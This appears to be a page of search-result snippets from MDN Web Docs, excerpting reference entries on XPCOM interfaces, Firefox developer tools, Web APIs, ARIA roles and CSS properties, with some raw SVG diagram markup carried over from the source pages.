... inherits from: nsisupports last changed in gecko 1.7 method overview nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data.
... nsiprefbranch getbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch.
...And 9 more matches
nsIProgressEventSink
netwerk/base/public/nsiprogresseventsink.idlscriptable this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
... inherits from: nsisupports last changed in gecko 1.7 this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
...an implementation of this interface can be passed to a channel via the channel's notificationcallbacks attribute.
...And 9 more matches
Using nsIDirectoryService
apart from this interface there is a function, registerprovider which will allow you to register a nsidirectoryserviceprovider, which implements the getfile callback function: var provider = { getfile : function(prop, persistant) { // return an nsifile }, } components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryservice).registerprovider(provider); when the callback is called, it will be passed the string key...
...the persistant flag allows you to specify if you want the nsdirectoryservice to cache this value.
...known locations the nsiproperties strings for currently defined locations can be found in: nsdirectoryservicedefs.h nsappdirectoryservicedefs.h nsxulappapi.h content formerly at http://www.mozilla.org/projects/xpco...locations.html background the way in which mozilla components locate special files and directories has changed.
...And 9 more matches
XPCOM ABI
while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
... a binary xpcom component consists of an .xpt file which fits all platforms and a dll (.dll on windows, .so on unix) which is platform-specific and has a certain abi.
... only applications which use this abi could use this xpcom component.
...And 9 more matches
Using the Mozilla symbol server
in the examples below, a local cache directory is used to avoid repeatedly fetching the pdb from the server.
... replace c:\users\bsmedberg\symbols with an appropriate cache directory on your machine.
... using the symbol server in microsoft visual c++ using the symbol server in windbg the windbg symbol path is configured with a string value delimited with asterisk characters.
...And 9 more matches
Declaring types
every type is represented by a ctype object, which, in turn, provides a constructor method you can call to define values of those types.
... each type you declare using js-ctypes corresponds to a compatible c declaration.
...these are all primitive types, upon which all other types are eventually based.
...And 9 more matches
CData
methods available on string objects these methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by a null character.
... readstring() converts a character array to a javascript string.
... if the 8-bit string contains invalid encoded character, a typeerror exception is thrown.
...And 9 more matches
Set event listener breakpoints - Firefox Developer Tools
to break when event listeners are hit, check the boxes next the events you are interested in.
... all of the standard events supported in your version of firefox are listed, arranged by which api or api area they're part of.
... you could add regular breakpoints at the entry point of the listener to achieve the same effect.
...And 9 more matches
Animating CSS properties - Firefox Developer Tools
with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation.
... the browser creates the animation as a transition from each keyframe to the next.
... the css rendering waterfall the process the browser uses to update the page when a css property has changed can be described as a waterfall consisting of the following steps: recalculate style: every time a css property for an element changes, the browser must recalculate computed styles.
...And 9 more matches
UI Tour - Firefox Developer Tools
the performance tool's ui consists of 4 main pieces: toolbar recordings pane recording overview details pane, which may contain any one of: waterfall call tree flame chart toolbar the toolbar contains buttons to: start and stop a recording import a recording you previously saved clear the recordings pane.
... filter the markers that are displayed in the waterfall view switch the active tool in the details pane.
... waterfall overview this presents a compressed view of the waterfall: recorded operations are color-coded using the same scheme as in the main waterfall view.
...And 9 more matches
AudioParam.value - Web APIs
WebAPIAudioParamvalue
consider this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863.
... one solution is to use the math.fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
... value of a property which is changing over time the value of an audioparam can either be fixed or can vary over time.
...And 9 more matches
BaseAudioContext.createScriptProcessor() - Web APIs
syntax var scriptprocessor = audioctx.createscriptprocessor(buffersize, numberofinputchannels, numberofoutputchannels); parameters buffersize the buffer size in units of sample-frames.
...if it's not passed in, or if the value is 0, then the implementation will choose the best buffer size for the given environment, which will be a constant power of 2 throughout the lifetime of the node.
... this value controls how frequently the audioprocess event is dispatched and how many sample-frames need to be processed each call.
...And 9 more matches
CSS Typed Object Model API - Web APIs
generally, css values can be read and written in javascript as strings, which can be slow and cumbersome.
...it is also generally faster, as values can be directly manipulated and then cheaply translated back into underlying values without having to both build and parse strings of css.
... cssstylevalue.parseall() the parseall() method of the cssstylevalue interface sets all occurences of a specific css property to the specified valueand returns an array of cssstylevalue objects, each containing one of the supplied values.
...And 9 more matches
CanvasRenderingContext2D.filter - Web APIs
the canvasrenderingcontext2d.filter property of the canvas 2d api provides filter effects such as blurring and grayscaling.
...takes an iri pointing to an svg filter element, which may be embedded in an external xml file.
...it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur.
...And 9 more matches
Document.querySelector() - Web APIs
the document method queryselector() returns the first element within the document that matches the specified selector, or group of selectors.
... if no matches are found, null is returned.
... note: the matching is done using depth-first pre-order traversal of the document's nodes starting with the first element in the document's markup and iterating through sequential nodes by order of the number of child nodes.
...And 9 more matches
Document Object Model (DOM) - Web APIs
the document object model (dom) connects web pages to scripts or programming languages by representing the structure of a document—such as the html representing a web page—in memory.
... usually, that means javascript, although modeling html, svg, or xml documents as objects are not part of the core javascript language, as such.
...each branch of the tree ends in a node, and each node contains objects.
...And 9 more matches
Element.getClientRects() - Web APIs
the getclientrects() method of the element interface returns a collection of domrect objects that indicate the bounding rectangles for each css border box in a client.
... syntax let rectcollection = object.getclientrects(); return value the returned value is a collection of domrect objects, one for each css border box associated with the element.
... each domrect object contains read-only left, top, right and bottom properties describing the border box, in pixels, with the top-left relative to the top-left of the viewport.
...And 9 more matches
FederatedCredential - Web APIs
in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential experimentalchrome full support 51edge full support ≤79firefox ?
...And 9 more matches
FileException - Web APIs
in the file system api, a fileexception object represents error conditions that you might encounter while accessing the file system using the synchronous api.
... basic concepts synchronous apis do not have error callbacks, which makes it difficult to catch errors.
... the added complexity of using webworkers with this api makes debugging even more challenging.
...And 9 more matches
HTMLAreaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlareaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 9 more matches
HTMLTableCellElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecellelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...And 9 more matches
IDBCursorWithValue - Web APIs
the cursor has a source that indicates which index or object store it is iterating over.
...the cursor enables an application to asynchronously process all the records in the cursor's range.
...: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/idbcursor" target="_top"><rect x="1" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="46" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursor</text></a><polyline points="91,25 101,20 101,30 91,25" stroke="#d4dde4" fill="none"/><line x1="101" y1="25" x2="131" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbcursorwithvalue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-...
...And 9 more matches
InstallEvent - Web APIs
the parameter passed into the oninstall handler, the installevent interface represents an install action that is dispatched on the serviceworkerglobalscope of a serviceworker.
... as a child of extendableevent, it ensures that functional events such as fetchevent are not dispatched during installation.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="conso...
...And 9 more matches
KeyboardEvent.code - Web APIs
the keyboardevent.code property represents a physical key on the keyboard (as opposed to the character generated by pressing the key).
... if the input device isn't a physical keyboard, but is instead a virtual keyboard or accessibility device, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices.
... this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
...And 9 more matches
MediaDevices.getDisplayMedia() - Web APIs
the mediadevices interface's getdisplaymedia() method prompts the user to select and grant permission to capture the contents of a display or portion thereof (such as a window) as a mediastream.
... note: browser support for audio tracks varies, both in terms of whether or not they're supported at all by the media recorder and in terms of the which audio source or sourcoes are supported.
... check the compatibility table for details for each browser.
...And 9 more matches
MediaRecorder - Web APIs
options are available to do things like set the container's mime type (such as "video/webm" or "video/mp4") and the bit rates of the audio and video tracks or a single overall bit rate.
...if this is specified, the media will be captured in separate chunks of that duration, rather than the default behavior of recording the media in a single large chunk.
... mediarecorder.stop() stops recording, at which point a dataavailable event containing the final blob of saved data is fired.
...And 9 more matches
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer which invokes a specified callback when dom events occur.
... dom observation does not begin immediately; the observe() method must be called first to establish which portion of the dom to watch and what kinds of changes to watch for.
... syntax const observer = new mutationobserver(callback) parameters callback a function which will be called on each dom change that qualifies given the observed node or subtree and options.
...And 9 more matches
ParentNode.querySelectorAll() - Web APIs
the parentnode mixin defines the queryselectorall() method as returning a nodelist representing a list of elements matching the specified group of selectors which are descendants of the object on which the method was called.
... note: this method is implemented as element.queryselectorall(), document.queryselectorall(), and documentfragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 9 more matches
PaymentRequest.PaymentRequest() - Web APIs
the paymentrequest() constructor creates a new paymentrequest object which will be used to handle the process of generating, validating, and submitting a payment request.
... syntax var paymentrequest = new paymentrequest(methoddata, details, [options]); parameters methoddata contains an array of identifiers for the payment methods the merchant web site accepts and any associated payment method specific data.
... each item in the array contains the following fields: supportedmethods for early implementations of the spec, this was a sequence of identifiers for payment methods that the merchant website accepts.
...And 9 more matches
PaymentResponse.retry() - Web APIs
this lets your app gracefully deal with situations such as invalid shipping addresses or declined credit cards.
... syntax retrypromise = paymentrequest.retry(errorfields); parameters errorfields a paymentvalidationerrors object, with the following properties: error optional a general description of a payment error from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
... payer optional a payererrors compliant object which provides appropriate error messages for any of the fields describing the payer which failed validation.
...And 9 more matches
PublicKeyCredentialCreationOptions.extensions - Web APIs
note: an analogous option exists for the fetching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.extensions.
... here is the current (as of march 2019) list of potential extensions which may be used during the registration operation.
...as of june 2020, only appid (used during creation with publickeycredentialrequestoptions.extensions) is supported by chrome and edge.
...And 9 more matches
RTCIceTransportState - Web APIs
the rtcicetransportstate enumerated type defines the string values which may be returned by the state property on rtcicetransport objects.
... the transport state indicates which stage of the candidate gathering process is currently underway.
...in this state, checking of candidates to look for those which might be acceptable has not yet begun.
...And 9 more matches
RTCPeerConnection.createAnswer() - Web APIs
the answer contains information about any media already attached to the session, codecs and options supported by the browser, and any ice candidates already gathered.
... syntax apromise = rtcpeerconnection.createanswer([options]); rtcpeerconnection.createanswer(successcallback, failurecallback[, options]); parameters options optional an object which contains options which customize the answer; this is based on the rtcansweroptions dictionary.
... successcallback an rtcsessiondescriptioncallback which will be passed a single rtcsessiondescription object describing the newly-created answer.
...And 9 more matches
RTCStatsType - Web APIs
the rtcstatstype enumerated type (enum) is a set of strings which define the type of statistics reported in a record found in the rtcstatsreport object.
... this type determines which of the rtcstats-based dictionaries the record is based upon.
...candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart.
...And 9 more matches
ReadableStreamDefaultReader.read() - Web APIs
the read() method of the readablestreamdefaultreader interface returns a promise providing access to the next chunk in the stream's internal queue.
... return value a promise, which fulfills/rejects with a result depending on the state of the stream.
... the different possibilities are as follows: if a chunk is available, the promise will be fulfilled with an object of the form { value: thechunk, done: false }.
...And 9 more matches
Resize Observer API - Web APIs
the resize observer api provides a performant mechanism by which code can monitor an element for changes to its size, with notifications being delivered to the observer each time the size changes.
... concepts and usage there are a whole raft of use cases for responsive design techniques (and others besides) that respond to changes in an element's size, but previously their implementations have often been hacky and/or brittle.
... for example, media queries / window.matchmedia are great for updating layouts at specific points when the viewport changes sizes, but what if you want to change layout in response to a specific element's size changing, which isn't the outer container?
...And 9 more matches
Selection.setBaseAndExtent() - Web APIs
syntax sel.setbaseandextent(anchornode,anchoroffset,focusnode,focusoffset) parameters anchornode the node at the start of the selection.
... anchoroffset the number of child nodes from the start of the anchor node that should be excluded from the selection.
...if the value is 1, the whole node minus the first child node is included.
...And 9 more matches
Slottable - Web APIs
WebAPISlottable
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslottable experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.
...And 9 more matches
StaticRange - Web APIs
the dom staticrange interface extends abstractrange to provide a method to specify a range of content in the dom whose contents don't update to reflect changes which occur within the dom tree.
...den;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a><polyline points="131,25 141,20 141,30 131,25" stroke="#d4dde4" fill="none"/><line x1="141" y1="25" x2="171" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/staticrange" target="_top"><rect x="171" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">staticrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit dictionary specifying the default values for its properties.
...And 9 more matches
Storage Access API - Web APIs
the api provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent.
...these restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.
...as an example, federated logins often require access to authentication cookies stored in first-party storage, and will require the user to sign in on each site separately (or completely break) if those cookies are not available.
...And 9 more matches
URL - Web APIs
WebAPIURL
it works by providing properties which allow you to easily read and modify the components of a url.
...you can then easily read the parsed components of the url or make changes to the url.
...be sure to check to see if any of your target browsers require this to be prefixed.
...And 9 more matches
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
the webgl2renderingcontext.framebuffertexturelayer() method of the webgl 2 api attaches a single layer of a texture to a framebuffer.
... this method is similar to webglrenderingcontext.framebuffertexture2d(), but only a given single layer of the texture level is attached to the attachment point.
... syntax void gl.framebuffertexturelayer(target, attachment, texture, level, layer); parameters target a glenum specifying the binding point (target).
...And 9 more matches
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
the webglrenderingcontext.framebufferrenderbuffer() method of the webgl api attaches a webglrenderbuffer object to a webglframebuffer object.
... syntax void gl.framebufferrenderbuffer(target, attachment, renderbuffertarget, renderbuffer); parameters target a glenum specifying the binding point (target) for the framebuffer.
... attachment a glenum specifying the attachment point for the render buffer.
...And 9 more matches
Creating 3D objects using WebGL - Web APIs
to do this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
... consider: each face requires four vertices to define it, but each vertex is shared by three faces.
... we can pass a lot fewer data around by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of moving entire sets of coordinates around.
...And 9 more matches
self.createImageBitmap() - Web APIs
it accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap.
... syntax const imagebitmappromise = createimagebitmap(image[, options]); const imagebitmappromise = createimagebitmap(image, sx, sy, sw, sh[, options]); parameters image an image source, which can be an <img>, svg <image>, <video>, <canvas>, htmlimageelement, svgimageelement, htmlvideoelement, htmlcanvaselement, blob, imagedata, imagebitmap, or offscreencanvas object.
... sx the x coordinate of the reference point of the rectangle from which the imagebitmap will be extracted.
...And 9 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
the static method xrwebgllayer.getnativeframebufferscalefactor() returns a floating-point scaling factor by which one can multiply the specified xrsession's resolution to get the native resolution of the webxr device's frame buffer.
...this can happen for display environments which use superscaling or anti-aliasing techniques to improve perceived image quality.
... syntax let nativescaling = xrwebgllayer.getnativeframebufferscalefactor(session); parameters session the xrsession for which to return the native framebuffer scaling factor.
...And 9 more matches
Using the log role - Accessibility
description this technique demonstrates how to use the log role and describes the effect it has on browsers and assistive technology.
...for example, chat logs, messaging history or an error log.
...when this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it.
...And 9 more matches
ARIA: application role - Accessibility
the application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used.
... description the application role indicates to assistive technologies that this part of the web content contains elements that do not conform to any other known html element or wai-aria widget.
... any sort of special interpretation of html structures and widgets should be suspended, and control should be completely handed over to the browser and web application to handle mouse, keyboard, or touch interaction.
...And 9 more matches
ARIA: table role - Accessibility
within that container, each row has role="row" set and contains child cells.
... each cell has a role of either columnheader, rowheader, or simply cell.
... rows can be children of the table or within a rowgroup.
...And 9 more matches
@supports - CSS: Cascading Style Sheets
WebCSS@supports
the following example returns true if the browser supports the child combinator: @supports selector(a > b) {} the not operator the not operator can precede any expression to create a new expression, resulting in the negation of the original one.
...r (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {} @supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {} note: when using both and and or operators, the parentheses must be used to define the order in which they apply.
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
...And 9 more matches
Subgrid - CSS: Cascading Style Sheets
important: this feature is shipped in firefox 71, which is currently the only browser to implement subgrid.
... introduction to subgrid when you add display: grid to a grid container, only the direct children become grid items and can then be placed on the grid that you have created.
... the children of these items display in normal flow.
...And 9 more matches
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
the scroll-snap-align property must be used on child elements in order to set the position that scrolling will snap to.
... using scroll-snap-type the scroll-snap-type property needs to know the direction in which scroll snapping happens.
... using mandatory gives a very consistent experience — you know that the browser will always snap to each defined point.
...And 9 more matches
Pseudo-classes - CSS: Cascading Style Sheets
for example, :hover can be used to change a button's color when the user's pointer hovers over it.
... /* any button over which the user's pointer is hovering */ button:hover { color: blue; } pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the navigator (:visited, for example), the status of its content (like :checked on certain form elements), or the position of the mouse (like :hover, which lets you know if the mouse is over an element or not).
... syntax selector:pseudo-class { property: value; } like regular classes, you can chain together as many pseudo-classes as you want in a selector.
...And 9 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
if the image has an intrinsic ratio (that is, its width:height ratio is constant, such as 16:9, 4:3, 2.39:1, 1:1, and so forth), the rendered size preserves that ratio.
... in each case, we show what the source image looks like rendered in a 150x150 box, and provide a link to the svg source.
...this is, basically, a thin strip of wallpaper that could be stretched across the entire height of a block.
...And 9 more matches
animation - CSS: Cascading Style Sheets
WebCSSanimation
></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%...
...2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3...
...%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width: 100%; hei...
...And 9 more matches
background - CSS: Cascading Style Sheets
the background shorthand css property sets all background style properties at once, such as color, image, origin and size, or repeat method.
... constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the backgrou...
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%".
...And 9 more matches
transition-timing-function - CSS: Cascading Style Sheets
this acceleration curve is defined using one <timing-function> for each property to be transitioned.
... you may specify multiple timing functions; each one will be applied to the corresponding property as specified by the transition-property property, which acts as a transition-property list.
